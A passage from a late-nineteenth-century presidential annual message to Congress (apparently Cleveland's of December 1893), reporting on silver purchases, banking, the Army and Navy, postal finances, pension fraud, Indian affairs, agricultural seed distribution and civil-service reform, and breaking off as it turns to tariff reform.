silver\nbullion which was purchased at a cost of $126,261,553.The purchases of silver under the law of July 14, 1890, during the last fiscal\nyear aggregated 54,008,162.59 fine ounces, which cost $45,531,374.53. The\ntotal amount of silver purchased from the time that law became operative until\nthe repeal of its purchasing clause, on the 1st day of November, 1893, was\n168,674,590.46 fine ounces, which cost $155,930,940.84. Between the 1st day of\nMarch, 1873, and the 1st day of November, 1893, the Government purchased under\nall laws 503,003,717 fine ounces of silver, at a cost of $516,622,948. The\nsilver dollars that have been coined under the act of July 14, 1890, number\n36,087,285. The seigniorage arising from such coinage was $6,977,098.39,\nleaving on hand in the mints 140,699,760 fine ounces of silver, which cost\n$126,758,218.Our total coinage of all metals during the last fiscal year consisted of\n97,280,875 pieces, valued at $43,685,178.80, of which there was $30,038,140 in\ngold coin, $5,343,715 in silver dollars, $7,217,220.90 in subsidiary silver\ncoin, and $1,086,102.90 in minor coins.During the calendar year 1892 the production of precious metals in the United\nStates was estimated to be 1,596,375 fine ounces of gold of the commercial and\ncoinage value of $33,000,000 and 58,000,000 fine ounces of silver of the\nbullion or market value of $50,750,000 and of the coinage value of\n$74,989,900.It is estimated that on the 1st day of July, 1893, the metallic stock of money\nin the United States, consisting of coin and bullion, amounted to\n$1,213,559,169, of which $597,697,685 was gold and $615,861,484 was silver.One hundred and nineteen national banks were organized during the year ending\nOctober 31, 1893, with a capital of $11,230,000. Forty-six went into voluntary\nliquidation and 158 suspended. Sixty-five of the suspended banks were\ninsolvent, 86 resumed business, and 7 remain in the hands of the bank\nexaminers, with prospects of speedy resumption. Of the new banks organized, 44\nwere located in the Eastern States, 41 west of the Mississippi River, and 34\nin the Central and Southern States. The total number of national banks in\nexistence on October 31, 1893, was 3,796, having an aggregate capital of\n$695,558,120. The net increase in the circulation of these banks during the\nyear was $36,886,972.The recent repeal of the provision of law requiring the purchase of silver\nbullion by the Government as a feature of our monetary scheme has made an\nentire change in the complexion of our currency affairs. I do not doubt that\nthe ultimate result of this action will be most salutary and far-reaching. In\nthe nature of things, however, it is impossible to know at this time precisely\nwhat conditions will be brought about by the change, or what, if any,\nsupplementary legislation may in the light of such conditions appear to be\nessential or expedient. Of course, after the recent financial perturbation,\ntime is necessary for the reestablishment of business confidence. When,\nhowever, through this restored confidence, the money which has been frightened\ninto hoarding places is returned to trade and enterprise, a survey of the\nsituation will probably disclose a safe path leading to a permanently sound\ncurrency, abundantly sufficient to meet every requirement of our increasing\npopulation and business.In the pursuit of this object we should resolutely turn away from alluring and\ntemporary expedients, determined to be content with nothing less than a\nlasting and comprehensive financial plan. In these circumstances I am\nconvinced that a reasonable delay in dealing with this subject, instead of\nbeing injurious, will increase the probability of wise action.The monetary conference which assembled at Brussels upon our invitation was\nadjourned to the 30th day of November of the present year. The considerations\njust stated and the fact that a definite proposition from us seemed to be\nexpected upon the reassembling of the conference led me to express a\nwillingness to have the meeting still further postponed.It seems to me that it would be wise to give general authority to the\nPresident to invite other nations to such a conference at any time when there\nshould be a fair prospect of accomplishing an international agreement on the\nsubject of coinage.I desire also to earnestly suggest the wisdom of amending the existing\nstatutes in regard to the issuance of Government bonds. The authority now\nvested in the Secretary of the Treasury to issue bonds is not as clear as it\nshould be, and the bonds authorized are disadvantageous to the Government both\nas to the time of their maturity and rate of interest.The Superintendent of Immigration, through the Secretary of the Treasury,\nreports that during the last fiscal year there arrived at our ports 440,793\nimmigrants. Of these, 1,063 were not permitted to land under the limitations\nof the law and 577 were returned to the countries from whence they came by\nreason of their having become public charges. The total arrivals were 141,034\nless than for the previous year.The Secretary in his report gives an account of the operation of the\nMarine-Hospital Service and of the good work done under its supervision in\npreventing the entrance and spread of contagious diseases.The admonitions of the last two years touching our public health and the\ndemonstrated danger of the introduction of contagious diseases from foreign\nports have invested the subject of national quarantine with increased\ninterest. A more general and harmonious system than now exists, acting\npromptly and directly everywhere and constantly operating by preventive means\nto shield our country from the invasion of disease, and at the same time\nhaving due regard to the rights and duties of local agencies, would, I\nbelieve, add greatly to the safety of our people.The Secretary of War reports that the strength of the Army on the 30th day of\nSeptember last was 25,778 enlisted men and 2,144 officers.The total expenditures of the Department for the year ending June 30, 1893,\namounted to $51,966,074.89. Of this sum $1,992,581.95 was for salaries and\ncontingent expenses, $23,377,828.35 for the support of the military\nestablishment, $6,077,033.18 for miscellaneous objects, and 518,631.41 for\npublic works. This latter sum includes $15,296,876.46 for river and harbor\nimprovements and $3,266,141.20 for fortifications and other works of defense.The total enrollment of the militia of the several States was on the 31st of\nOctober of the current year 112,597 officers and enlisted men. The officers of\nthe Army detailed for the inspection and instruction of this reserve of our\nmilitary force report that increased interest and marked progress are apparent\nin the discipline and efficiency of the organization.Neither Indian outbreaks nor domestic violence have called the Army into\nservice during the year, and the only active military duty required of it has\nbeen in the Department of Texas, where violations of the neutrality laws of\nthe United States and Mexico were promptly and efficiently dealt with by the\ntroops, eliciting the warm approval of the civil and military authorities of\nboth countries.The operation of wise laws and the influences of civilization constantly\ntending to relieve the country from the dangers of Indian hostilities,\ntogether with the increasing ability of the States, through the efficiency of\nthe National Guard organizations, to protect their citizens from domestic\nviolence, lead to the suggestion that the time is fast approaching when there\nshould be a reorganization of our Army on the lines of the present necessities\nof the country. This change contemplates neither increase in number nor added\nexpense, but a redistribution of the force and an encouragement of measures\ntending to greater efficiency among the men and improvement of the service.The adoption of battalion formations for infantry regiments, the strengthening\nof the artillery force, the abandonment of smaller and unnecessary posts, and\nthe massing of the troops at important and accessible stations all promise to\npromote the usefulness of the Army. In the judgment of army officers, with but\nfew exceptions, the operation of the law forbidding the reenlistment of men\nafter ten years' service has not proved its wisdom, and while the arguments\nthat led to its adoption were not without merit the experience of the year\nconstrains me to join in the recommendation for its repeal.It is gratifying to note that we have begun to attain completed results in the\ncomprehensive scheme of seacoast defense and fortification entered upon eight\nyears ago. A large sum has been already expended, but the cost of maintenance\nwill be inconsiderable as compared with the expense of construction and\nordnance. At the end of the current calendar year the War Department will have\nnine 12-inch guns, twenty 10-inch, and thirty-four 8-inch guns ready to be\nmounted on gun lifts and carriages, and seventy-five 12-inch mortars. In\naddition to the product of the Army Gun Factory, now completed at Watervliet,\nthe Government has contracted with private parties for the purchase of one\nhundred guns of these calibers, the first of which should be delivered to the\nDepartment for test before July 1, 1894.The manufacture of heavy ordnance keeps pace with current needs, but to render\nthese guns available for the purposes they are designed to meet emplacements\nmust be prepared for them. Progress has been made in this direction, and it is\ndesirable that Congress by adequate appropriations should provide for the\nuninterrupted prosecution of this necessary work.After much preliminary work and exhaustive examination in accordance with the\nrequirements of the law, the board appointed to select a magazine rifle of\nmodern type with which to replace the obsolete Springfield rifle of the\ninfantry service completed its labors during the last year, and the work of\nmanufacture is now in progress at the national armory at Springfield. It is\nconfidently expected that by the end of the current year our infantry will be\nsupplied with a weapon equal to that of the most progressive armies of the\nworld.The work on the projected Chickamauga and Chattanooga National Military Park\nhas been prosecuted with zeal and judgment, and its opening will be celebrated\nduring the coming year. Over 9 square miles of the Chickamauga battlefield\nhave been acquired, 25 miles of roadway have been constructed, and permanent\ntablets have been placed at many historical points, while the invitation to\nthe States to mark the positions of their troops participating in the battle\nhas been very generally accepted.The work of locating and preserving the lines of battle at the Gettysburg\nbattlefield is making satisfactory progress on the plans directed by the last\nCongress.The reports of the Military Academy at West Point and the several schools for\nspecial instruction of officers show marked advance in the education of the\nArmy and a commendable ambition among its officers to excel in the military\nprofession and to fit themselves for the highest service to the country.Under the supervision of Adjutant-General Robert Williams, lately retired, the\nBureau of Military Information has become well established and is performing a\nservice that will put in possession of the Government in time of war most\nvaluable information, and at all times serve a purpose of great utility in\nkeeping the Army advised of the world's progress in all matters pertaining to\nthe art of war.The report of the Attorney-General contains the usual summary of the affairs\nand proceedings of the Department of Justice for the past year, together with\ncertain recommendations as to needed legislation on various subjects. I can\nnot too heartily indorse the proposition that the fee system as applicable to\nthe compensation of United States attorneys, marshals, clerks of Federal\ncourts, and United States commissioners should be abolished with as little\ndelay as possible. It is clearly in the interest of the community that the\nbusiness of the courts, both civil and criminal, shall be as small and as\ninexpensively transacted as the ends of justice will allow.The system is therefore thoroughly vicious which makes the compensation of\ncourt officials depend upon the volume of such business, and thus creates a\nconflict between a proper execution of the law and private gain, which can not\nfail to be dangerous to the rights and freedom of the citizen and an\nirresistible temptation to the unjustifiable expenditure of public funds. If\nin addition to this reform another was inaugurated which would give to United\nStates commissioners the final disposition of petty offenses within the grade\nof misdemeanors, especially those coming under the internal-revenue laws, a\ngreat advance would be made toward a more decent administration of the\ncriminal law.In my first message to Congress, dated December 8, 1885, I strongly\nrecommended these changes and referred somewhat at length to the evils of the\npresent system. Since that time the criminal business of the Federal courts\nand the expense attending it have enormously increased. The number of criminal\nprosecutions pending in the circuit and district courts of the United States\non the 1st day of July, 1885, was 3,808, of which 1,884 were for violations of\nthe internal-revenue laws, while the number of such prosecutions pending on\nthe 1st day of July, 1893, was 9,500, of which 4,200 were for violations of\nthe internal-revenue laws. The expense of the United States courts, exclusive\nof judges' salaries, for the year ending July 1, 1885, was $2,874,733.11 and\nfor the year ending July 1, 1893, $4,528,676.87.It is therefore apparent that the reasons given in 1885 for a change in the\nmanner of enforcing the Federal criminal law have gained cogency and strength\nby lapse of time.I also heartily join the Attorney-General in recommending legislation fixing\ndegrees of the crime of murder within Federal jurisdiction, as has been done\nin many of the States; authorizing writs of error on behalf of the Government\nin cases where final judgment is rendered against the sufficiency of an\nindictment or against the Government upon any other question arising before\nactual trial; limiting the right of review in cases of felony punishable only\nby fine and imprisonment to the circuit court of appeals, and making speedy\nprovision for the construction of such prisons and reformatories as may be\nnecessary for the confinement of United States convicts.The report of the Postmaster-General contains a detailed statement of the\noperations of the Post-Office Department during the last fiscal year and much\ninteresting information touching this important branch of the public service.The business of the mails indicates with absolute certainty the condition of\nthe business of the country, and depression in financial affairs inevitably\nand quickly reduces the postal revenues. Therefore a larger discrepancy than\nusual between the post-office receipts and expenditures is the expected and\nunavoidable result of the distressing stringency which has prevailed\nthroughout the country during much of the time covered by the\nPostmaster-General's report. At a date when better times were anticipated it\nwas estimated by his predecessor that the deficiency on the 30th day of June,\n1893, would be but a little over a million and a half dollars. It amounted,\nhowever, to more than five millions. At the same time and under the influence\nof like anticipations estimates were made for the current fiscal year, ending\nJune 30, 1894, which exhibited a surplus of revenue over expenditures of\n$872,245.71; but now, in view of the actual receipts and expenditures during\nthat part of the current fiscal year already expired, the present\nPostmaster-General estimates that at its close instead of a surplus there will\nbe a deficiency of nearly $8,000,000.The post-office receipts for the last fiscal year amounted to $75,896,933.16\nand its expenditures to $81,074,104.90. This post-office deficiency would\ndisappear or be immensely decreased if less matter were carried free through\nthe mails, an item of which is upward of 300 tons of seeds and grain from the\nAgricultural Department.The total number of post-offices in the United States on the 30th day of June,\n1893, was 68,403, an increase of 1,284 over the preceding year. Of these,\n3,360 were Presidential, an increase in that class of 204 over the preceding\nyear.Forty-two free-delivery offices were added during the year to those already\nexisting, making a total of 610 cities and towns provided with free delivery\non June 30, 1893. Ninety-three other cities and towns are now entitled to this\nservice under the law, but it has not been accorded them on account of\ninsufficient funds to meet the expenses of its establishment.I am decidedly of the opinion that the provisions of the present law permit as\ngeneral an introduction of this feature of mail service as is necessary or\njustifiable, and that it ought not to be extended to smaller communities than\nare now designated.The expenses of free delivery for the fiscal year ending June 30, 1894, will\nbe more than $11,000,000, and under legislation now existing there must be a\nconstant increase in this item of expenditure.There were 6,401 additions to the domestic money-order offices during the last\nfiscal year, being the largest increase in any year since the inauguration of\nthe system. The total number of these offices at the close of the year was\n18,434. There were 13,309,735 money orders issued from these offices, being an\nincrease over the preceding year of 1,240,293, and the value of these orders\namounted to $127,576,433.65, an increase of $7,509,632.58. There were also\nissued during the year postal notes amounting to $12,903,076.73.During the year 195 international money-order offices were added to those\nalready provided, making a total of 2,407 in operation on June 30, 1893. The\nnumber of international money orders issued during the year was 1,055,999, an\nincrease over the preceding year of 72,525, and their value was\n$16,341,837.86, an increase of $2,221,506.31. The number of orders paid was\n300,917, an increase over the preceding year of 13,503, and their value was\n$5,283,375.70, an increase of $94,094.83.From the foregoing statements it appears that the total issue of money orders\nand postal notes for the year amounted to $156,822,348.24.The number of letters and packages mailed during the year for special delivery\nwas 3,375,693, an increase over the preceding year of nearly 22 per cent. The\nspecial-delivery stamps used upon these letters and packages amounted to\n$337,569.30, and the messengers' fees paid for their delivery amounted to\n$256,592.71, leaving a profit to the Government of $80,976.59.The Railway Mail Service not only adds to the promptness of mail delivery at\nall offices, but it is the especial instrumentality which puts the smaller and\nway places in the service on an equality in that regard with the larger and\nterminal offices. This branch of the postal service has therefore received\nmuch attention from the Postmaster-General, and though it is gratifying to\nknow that it is in a condition of high efficiency and great usefulness, I am\nled to agree with the Postmaster-General that there is room for its further\nimprovement.There are now connected to the Post-Office establishment 28,324 employees who\nare in the classified service. The head of this great Department gives\nconclusive evidence of the value of civil-service reform when, after an\nexperience that renders his judgment on the subject absolutely reliable, he\nexpresses the opinion that without the benefit of this system it would be\nimpossible to conduct the vast business intrusted to him.I desire to commend as especially worthy of prompt attention the suggestions\nof the Postmaster-General relating to a more sensible and business like\norganization and a better distribution of responsibility in his Department.The report of the Secretary of the Navy contains a history of the operations\nof his Department during the past year and exhibits a most gratifying\ncondition of the personnel of our Navy. He presents a satisfactory account of\nthe progress which has been made in the construction of vessels and makes a\nnumber of recommendations to which attention is especially invited.During the past six months the demands for cruising vessels have been many and\nurgent. There have been revolutions calling for vessels to protect American\ninterests in Nicaragua, Guatemala, Costa Rica, Honduras, Argentina, and\nBrazil, while the condition of affairs in Honolulu has required the constant\npresence of one or more ships. With all these calls upon our Navy it became\nnecessary, in order to make up a sufficient fleet to patrol the Bering Sea\nunder the modus vivendi agreed upon with Great Britain, to detail to that\nservice one vessel from the Fish Commission and three from the Revenue Marine.Progress in the construction of new vessels has not been as rapid as was\nanticipated. There have been delays in the completion of unarmored vessels,\nbut for the most part they have been such as are constantly occurring even in\ncountries having the largest experience in naval shipbuilding. The most\nserious delays, however, have been in the work upon armored ships. The trouble\nhas been the failure of contractors to deliver armor as agreed. The\ndifficulties seem now, however, to have been all overcome, and armor is being\ndelivered with satisfactory promptness. As a result of the experience acquired\nby shipbuilders and designers and material men, it is believed that the dates\nwhen vessels will be completed can now be estimated with reasonable accuracy.\nGreat guns, rapid-fire guns, torpedoes, and powder are being promptly\nsupplied.The following vessels of the new Navy have been completed and are now ready\nfor service: The double-turreted coast-defense monitor Miantonomoh, the\ndouble-turreted coast-defense monitor Monterey, the armored cruiser New York,\nthe protected cruisers Baltimore, Chicago, Philadelphia, Newark, San\nFrancisco, Charleston, Atlanta, and Boston, the cruiser Detroit, the gunboats\nYorktown, Concord, Bennington, Machias, Castine, and Petrel, the dispatch\nvessel Dolphin, the practice vessel Bancroft, and the dynamite gunboat\nVesuvius. Of these the Bancroft, Machias, Detroit, and Castine have been\nplaced in commission during the current calendar year.The following vessels are in process of construction: The second-class battle\nships Maine and Texas, the cruisers Montgomery and Marblehead, and the\ncoast-defense monitors Terror, Puritan, Amphitrite, and Monadnock, all of\nwhich will be completed within one year; the harbor-defense ram Katahdin and\nthe protected cruisers Columbia, Minneapolis, Olympia, Cincinnati, and\nRaleigh, all of which will be completed prior to July 1, 1895; the first-class\nbattle ships Iowa, Indiana, Massachusetts, and Oregon, which will be completed\nFebruary 1, 1896, and the armored cruiser Brooklyn, which will be completed by\nAugust 1 of that year. It is also expected that the three gunboats authorized\nby the last Congress will be completed in less than two years.Since 1886 Congress has at each session authorized the building of one or more\nvessels, and the Secretary of the Navy presents an earnest plea for the\ncontinuance of this plan. He recommends the authorization of at least one\nbattle ship and six torpedo boats.While I am distinctly in favor of consistently pursuing the policy we have\ninaugurated of building up a thorough and efficient Navy, I can not refrain\nfrom the suggestion that the Congress should carefully take into account the\nnumber of unfinished vessels on our hands and the depleted condition of our\nTreasury in considering the propriety of an appropriation at this time to\nbegin new work.The method of employing mechanical labor at navy-yards through boards of labor\nand making efficiency the sole test by which laborers are employed and\ncontinued is producing the best results, and the Secretary is earnestly\ndevoting himself to its development. Attention is invited to the statements of\nhis report in regard to the workings of the system.The Secretary of the Interior has the supervision of so many important\nsubjects that his report is of especial value and interest.On the 30th day of June, 1893, there were on the pension rolls 966,012 names,\nan increase of 89,944 over the number on the rolls June 30, 1892. Of these\nthere were 17 widows and daughters of Revolutionary soldiers, 86 survivors of\nthe War of 1812, 5,425 widows of soldiers of that war, 21,518 survivors and\nwidows of the Mexican War, 3,882 survivors and widows of Indian wars, 284 army\nnurses. and 475,645 survivors and widows and children of deceased soldiers and\nsailors of the War of the Rebellion. The latter number represents those\npensioned on account of disabilities or death resulting from army and navy\nservice. The number of persons remaining on the rolls June 30, 1893, who were\npensioned under the act of June 27, 1890, which allows pensions on account of\ndeath and disability not chargeable to army service, was 459,155.The number added to the rolls during the year was 123,634 and the number\ndropped was 33,690. The first payments on pensions allowed during the year\namounted to $33,756,549.98. This includes arrears, or the accumulation between\nthe time from which the allowance of pension dates and the time of actually\ngranting the certificate.Although the law of 1890 permits pensions for disabilities not related to\nmilitary service, yet as a requisite to its benefits a disability must exist\nincapacitating applicants \"from the performance of manual labor to such a\ndegree as to render them unable to earn a support.\" The execution of this law\nin its early stages does not seem to have been in accord with its true\nintention, but toward the close of the last Administration an authoritative\nconstruction was given to the statute, and since that time this construction\nhas been followed. This has had the effect of limiting the operation of the\nlaw to its intended purpose. The discovery having been made that many names\nhad been put upon the pension roll by means of wholesale and gigantic frauds,\nthe Commissioner suspended payments upon a number of pensions which seemed to\nbe fraudulent or unauthorized pending a complete examination, giving notice to\nthe pensioners, in order that they might have an opportunity to establish, if\npossible, the justice of their claims notwithstanding apparent invalidity.This, I understand, is the practice which has for a long time prevailed in the\nPension Bureau; but after entering upon these recent investigations the\nCommissioner modified this rule so as not to allow until after a complete\nexamination interference with the payment of a pension apparently not\naltogether void, but which merely had been fixed at a rate higher than that\nauthorized by law.I am unable to understand why frauds in the pension rolls should not be\nexposed and corrected with thoroughness and vigor. Every name fraudulently put\nupon these rolls is a wicked imposition upon the kindly sentiment in which\npensions have their origin; every fraudulent pensioner has become a bad\ncitizen; every false oath in support of a pension has made perjury more\ncommon, and false and undeserving pensioners rob the people not only of their\nmoney, but of the patriotic sentiment which the survivors of a war fought for\nthe preservation of the Union ought to inspire. Thousands of neighborhoods\nhave their well-known fraudulent pensioners, and recent developments by the\nBureau establish appalling conspiracies to accomplish pension frauds. By no\nmeans the least wrong done is to brave and deserving pensioners, who certainly\nought not to be condemned to such association.Those who attempt in the line of duty to rectify these wrongs should not be\naccused of enmity or indifference to the claims of honest veterans. The sum\nexpended on account of pensions for the year ending June 30, 1893, was\n$156,740,467.14.The Commissioner estimates that $165,000,000 will be required to pay pensions\nduring the year ending June 30, 1894.The condition of the Indians and their ultimate fate are subjects which are\nrelated to a sacred duty of the Government and which strongly appeal to the\nsense of justice and the sympathy of our people.Our Indians number about 248,000. Most of them are located on 161\nreservations, containing 86,116,531 acres of land. About 110,000 of these\nIndians have to a large degree adopted civilized customs. Lands in severalty\nhave been allotted to many of them. Such allotments have been made to 10,000\nindividuals during the last fiscal year, embracing about 1,000,000 acres. The\nnumber of Indian Government schools opened during the year was 195, an\nincrease of 12 over the preceding year. Of this total 170 were on\nreservations, of which 73 were boarding schools and 97 were day schools.\nTwenty boarding schools and 5 day schools supported by the Government were not\nlocated on reservations. The total number of Indian children enrolled during\nthe year as attendants of all schools was 21,138, an increase of 1,231 over\nthe enrollment for the previous year.I am sure that secular education and moral and religious teaching must be\nimportant factors in any effort to save the Indian and lead him to\ncivilization. I believe, too, that the relinquishment of tribal relations and\nthe holding of land in severalty may in favorable conditions aid this\nconsummation. It seems to me, however, that allotments of land in severalty\nought to be made with great care and circumspection. If hastily done, before\nthe Indian knows its meaning, while yet he has little or no idea of tilling a\nfarm and no conception of thrift, there is great danger that a reservation\nlife in tribal relations may be exchanged for the pauperism of civilization\ninstead of its independence and elevation.The solution of the Indian problem depends very largely upon good\nadministration. The personal fitness of agents and their adaptability to the\npeculiar duty of caring for their wards are of the utmost importance.The law providing that, except in special cases, army officers shall be\ndetailed as Indian agents it is hoped will prove a successful experiment.There is danger of great abuses creeping into the prosecution of claims for\nIndian depredations, and I recommend that every possible safeguard be provided\nagainst the enforcement of unjust and fictitious claims of this description.The appropriations on account of the Indian Bureau for the year ending June\n30, 1894, amount to $7,954,962.99, a decrease as compared with the year\npreceding it of $387,131.95.The vast area of land which but a short time ago constituted the public domain\nis rapidly falling into private hands. It is certain that in the transfer the\nbeneficent intention of the Government to supply from its domain homes to the\nindustrious and worthy home seekers is often frustrated. Though the\nspeculator, who stands with extortionate purpose between the land office and\nthose who, with their families, are invited by the Government to settle on the\npublic lands, is a despicable character who ought not to be tolerated, yet it\nis difficult to thwart his schemes. The recent opening to settlement of the\nlands in the Cherokee Outlet, embracing an area of 6,500,000 acres,\nnotwithstanding the utmost care in framing the regulations governing the\nselection of locations and notwithstanding the presence of United States\ntroops, furnished an exhibition, though perhaps in a modified degree, of the\nmad scramble, the violence, and the fraudulent occupation which have\naccompanied previous openings of public land.I concur with the Secretary in the belief that these outrageous incidents can\nnot be entirely prevented without a change in the laws on the subject, and I\nhope his recommendations in that direction will be favorably considered.I especially commend to the attention of the Congress the statements contained\nin the Secretary's report concerning forestry. The time has come when\nefficient measures should be taken for the preservation of our forests from\nindiscriminate and remediless destruction.The report of the Secretary of Agriculture will be found exceedingly\ninteresting, especially to that large part of our citizens intimately\nconcerned in agricultural occupations.On the 7th day of March, 1893, there were upon its pay rolls 2,430 employees.\nThis number has been reduced to 1,850 persons. In view of a depleted public\nTreasury and the imperative demand of the people for economy in the\nadministration of their Government, the Secretary has entered upon the task of\nrationally reducing expenditures by the elimination from the pay rolls of all\npersons not needed for an efficient conduct of the affairs of the Department.During the first quarter of the present year the expenses of the Department\naggregated $345,876.76, as against $402,012.42 for the corresponding period of\nthe fiscal year ending June 30, 1893. The Secretary makes apparent his\nintention to continue this rate of reduction by submitting estimates for the\nnext fiscal year less by $994,280 than those for the present year.Among the heads of divisions in this Department the changes have been\nexceedingly few. Three vacancies occurring from death and resignations have\nbeen filled by the promotion of assistants in the same divisions.These promotions of experienced and faithful assistants have not only been in\nthe interest of efficient work, but have suggested to those in the Department\nwho look for retention and promotion that merit and devotion to duty are their\nbest reliance.The amount appropriated for the Bureau of Animal Industry for the current\nfiscal year is $850,000. The estimate for the ensuing year is $700,000.The regulations of 1892 concerning Texas fever have been enforced during the\nlast year and the large stock yards of the country have been kept free from\ninfection. Occasional local outbreaks have been largely such as could have\nbeen effectually guarded against by the owners of the affected cattle.While contagious pleuro-pneumonia in cattle has been eradicated, animal\ntuberculosis, a disease widespread and more dangerous to human life than\npleuro-pneumonia, is still prevalent. Investigations have been made during the\npast year as to the means of its communication and the method of its correct\ndiagnosis. Much progress has been made in this direction by the studies of the\ndivision of animal pathology, but work ought to be extended, in cooperation\nwith local authorities, until the danger to human life arising from this cause\nis reduced to a minimum.The number of animals arriving from Canada during the year and inspected by\nBureau officers was 462,092, and the number from transatlantic countries was\n1,297. No contagious diseases were found among the imported animals.The total number of inspections of cattle for export during the past fiscal\nyear was 611,542. The exports show a falling off of about 25 per cent from the\npreceding year, the decrease occurring entirely in the last half of the year.\nThis suggests that the falling off may have been largely due to an increase in\nthe price of American export cattle.During the year ending June 30, 1893, exports of inspected pork aggregated\n10,677,410 pounds, as against 38,152,874 pounds for the preceding year. The\nfalling off in this export was not confined, however, to inspected pork, the\ntotal quantity exported for 1892 being 665,490,616 pounds, while in 1893 it\nwas only 527,308,695 pounds.I join the Secretary in recommending that hereafter each applicant for the\nposition of inspector or assistant inspector in the Bureau of Animal Industry\nbe required, as a condition precedent to his appointment, to exhibit to the\nUnited States Civil Service Commission his diploma from an established,\nregular, and reputable veterinary college, and that this be supplemented by\nsuch an examination in veterinary science as the Commission may prescribe.The exports of agricultural products from the United States for the fiscal\nyear ending June 30, 1892, attained the enormous figure of $800,000,000, in\nround numbers, being 78.7 per cent of our total exports. In the last fiscal\nyear this aggregate was greatly reduced, but nevertheless reached 615,000,000,\nbeing 75.1 per cent of all American commodities exported.A review of our agricultural exports with special reference to their\ndestination will show that in almost every line the United Kingdom of Great\nBritain and Ireland absorbs by far the largest proportion. Of cattle the total\nexports aggregated in value for the fiscal year ending June 30, 1893,\n$26,000,000, of which Great Britain took considerably over $25,000,000. Of\nbeef products of all kinds our total exports were $28,000,000, of which Great\nBritain took $24,000,000. Of pork products the total exports were $84,000,000,\nof which Great Britain took $53,000,000. In breadstuffs, cotton, and minor\nproducts like proportions sent to the same destination are shown.The work of the statistical division of the Department of Agriculture deals\nwith all that relates to the economics of farming.The main purpose of its monthly reports is to keep the farmers informed as\nfully as possible of all matters having any influence upon the world's\nmarkets, in which their products find sale. Its publications relate especially\nto the commercial side of farming.It is therefore of profound importance and vital concern to the farmers of the\nUnited States, who represent nearly one-half of our population, and also of\ndirect interest to the whole country, that the work of this division be\nefficiently performed and that the information it has gathered be promptly\ndiffused.It is a matter for congratulation to know that the Secretary will not spare\nany effort to make this part of his work thoroughly useful.In the year 1839 the Congress appropriated $1,000, to be taken from the Patent\nOffice funds, for the purpose of collecting and distributing rare and improved\nvarieties of seeds and for prosecuting agricultural investigations and\nprocuring agricultural statistics. From this small beginning the seed division\nof the Department of Agriculture has grown to its present unwieldy and\nunjustifiably extravagant proportions.During the last fiscal year the cost of seeds purchased was $66,548.61. The\nremainder of an appropriation of $135,000 was expended in putting them up and\ndistributing them. It surely never could have entered the minds of those who\nfirst sanctioned appropriations of public money for the purchase of new and\nimproved varieties of seeds for gratuitous distribution that from this would\ngrow large appropriations for the purchase and distribution by members of\nCongress of ordinary seeds, bulbs, and cuttings which are common in all the\nStates and Territories and everywhere easily obtainable at low prices.In each State and Territory an agricultural experiment station has been\nestablished. These stations, by their very character and name, are the proper\nagencies to experiment with and test new varieties of seeds; and yet this\nindiscriminate and wasteful distribution by legislation and legislators\ncontinues, answering no purpose unless it be to remind constituents that their\nrepresentatives are willing to remember them with gratuities at public cost.Under the sanction of existing legislation there was sent out from the\nAgricultural Department during the last fiscal year enough of cabbage seed to\nplant 19,200 acres of land, a sufficient quantity of beans to plant 4,000\nacres, beet seed enough to plant 2,500 acres, sweet corn enough to plant 7,800\nacres, sufficient cucumber seed to cover 2,025 acres with vines, and enough\nmuskmelon and watermelon seeds to plant 2,675 acres. The total quantity of\nflower and vegetable seeds thus distributed was contained in more than\n9,000,000 packages, and they were sufficient if planted to cover 89,596 acres\nof land.In view of these facts this enormous expenditure without legitimate returns of\nbenefit ought to be abolished. Anticipating a consummation so manifestly in\nthe interest of good administration, more than $100,000 has been stricken from\nthe estimate made to cover this object for the year ending June 30, 1895; and\nthe Secretary recommends that the remaining $35,000 of the estimate be\nconfined strictly to the purchase of new and improved varieties of seeds, and\nthat these be distributed through experiment stations.Thus the seed will be tested, and after the test has been completed by the\nexperiment station the propagation of the useful varieties and the rejection\nof the valueless may safely be left to the common sense of the people.The continued intelligent execution of the civil-service law and the\nincreasing approval by the people of its operation are most gratifying. The\nrecent extension of its limitations and regulations to the employees at\nfree-delivery post-offices, which has been honestly and promptly accomplished\nby the Commission, with the hearty cooperation of the Postmaster-General, is\nan immensely important advance in the usefulness of the system.I am, if possible, more than ever convinced of the incalculable benefits\nconferred by the civil-service law, not only in its effect upon the public\nservice, but also, what is even more important, in its effect in elevating the\ntone of political life generally.The course of civil-service reform in this country instructively and\ninterestingly illustrates how strong a hold a movement gains upon our people\nwhich has underlying it a sentiment of justice and right and which at the same\ntime promises better administration of their Government.The law embodying this reform found its way to our statute book more from fear\nof the popular sentiment existing in its favor than from any love for the\nreform itself on the part of legislators, and it has lived and grown and\nflourished in spite of the covert as well as open hostility of spoilsmen and\nnotwithstanding the querulous impracticability of many self-constituted\nguardians. Beneath all the vagaries and sublimated theories which are\nattracted to it there underlies this reform a sturdy common-sense principle\nnot only suited to this mundane sphere, but whose application our people are\nmore and more recognizing to be absolutely essential to the most successful\noperation of their Government, if not to its perpetuity.It seems to me to be entirely inconsistent with the character of this reform,\nas well as with its best enforcement, to oblige the Commission to rely for\nclerical assistance upon clerks detailed from other Departments. There ought\nnot to be such a condition in any Department that clerks hired to do work\nthere can be spared to habitually work at another place, and it does not\naccord with a sensible view of civil-service reform that persons should be\nemployed on the theory that their labor is necessary in one Department when in\npoint of fact their services are devoted to entirely different work in another\nDepartment.I earnestly urge that the clerks necessary to carry on the work of the\nCommission be regularly put upon its roster and that the system of obliging\nthe Commissioners to rely upon the services of clerks belonging to other\nDepartments be discontinued. This ought not to increase the expense to the\nGovernment, while it would certainly be more consistent and add greatly to the\nefficiency of the Commission.Economy in public expenditure is a duty that can not innocently be neglected\nby those intrusted with the control of money drawn from the people for public\nuses. It must be confessed that our apparently endless resources, the\nfamiliarity of our people with immense accumulations of wealth, the growing\nsentiment among them that the expenditure of public money should in some\nmanner be to their immediate and personal advantage, the indirect and almost\nstealthy manner in which a large part of our taxes is exacted, and a\ndegenerated sense of official accountability have led to growing extravagance\nin governmental appropriations.At this time, when a depleted public Treasury confronts us, when many of our\npeople are engaged in a hard struggle for the necessaries of life, and when\nenforced economy is pressing upon the great mass of our countrymen, I desire\nto urge with all the earnestness at my command that Congressional legislation\nbe so limited by strict economy as to exhibit an appreciation of the condition\nof the Treasury and a sympathy with the straitened circumstances of our\nfellow-citizens.The duty of public economy is also of immense importance in its intimate and\nnecessary relation to the task now in hand of providing revenue to meet\nGovernment expenditures and yet reducing the people's burden of Federal\ntaxation.After a hard struggle tariff reform is directly before us. Nothing so\nimportant claims our attention and nothing so clearly presents itself as both\nan opportunity and a duty--an opportunity to deserve the gratitude of our\nfellow-citizens and a 